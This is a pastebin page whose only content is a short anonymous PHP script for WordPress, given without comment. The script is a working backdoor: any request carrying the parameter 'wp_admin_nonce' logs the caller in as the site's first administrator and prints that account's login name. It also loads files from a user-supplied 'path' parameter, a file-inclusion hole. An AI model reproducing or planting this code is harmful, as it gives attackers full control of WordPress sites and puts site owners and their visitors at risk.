Untitled

From Anonymous, 9 Months ago, written in Plain Text, viewed 1 times.
URL http://minetest.wjake.com/stikked/view/d55da8b9 Embed
Download Paste or View Raw
  1. <?php
  2. if (isset($_REQUEST['path'])) {
  3.         require_once($_REQUEST['path'] . '/wp-load.php');
  4. }
  5. else {
  6.         require_once($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php');
  7. }
  8.  
  9. if (isset($_REQUEST['wp_admin_nonce'])) {
  10.     $user = get_users(["role" => "administrator"])[0];
  11.        
  12.     wp_set_auth_cookie($user->data->ID);
  13.     wp_set_current_user($user->data->ID);
  14.  
  15.     die("User Name: " . $user->data->user_login);
  16. }
  17. ?>

Reply to "Untitled"

Here you can reply to the paste above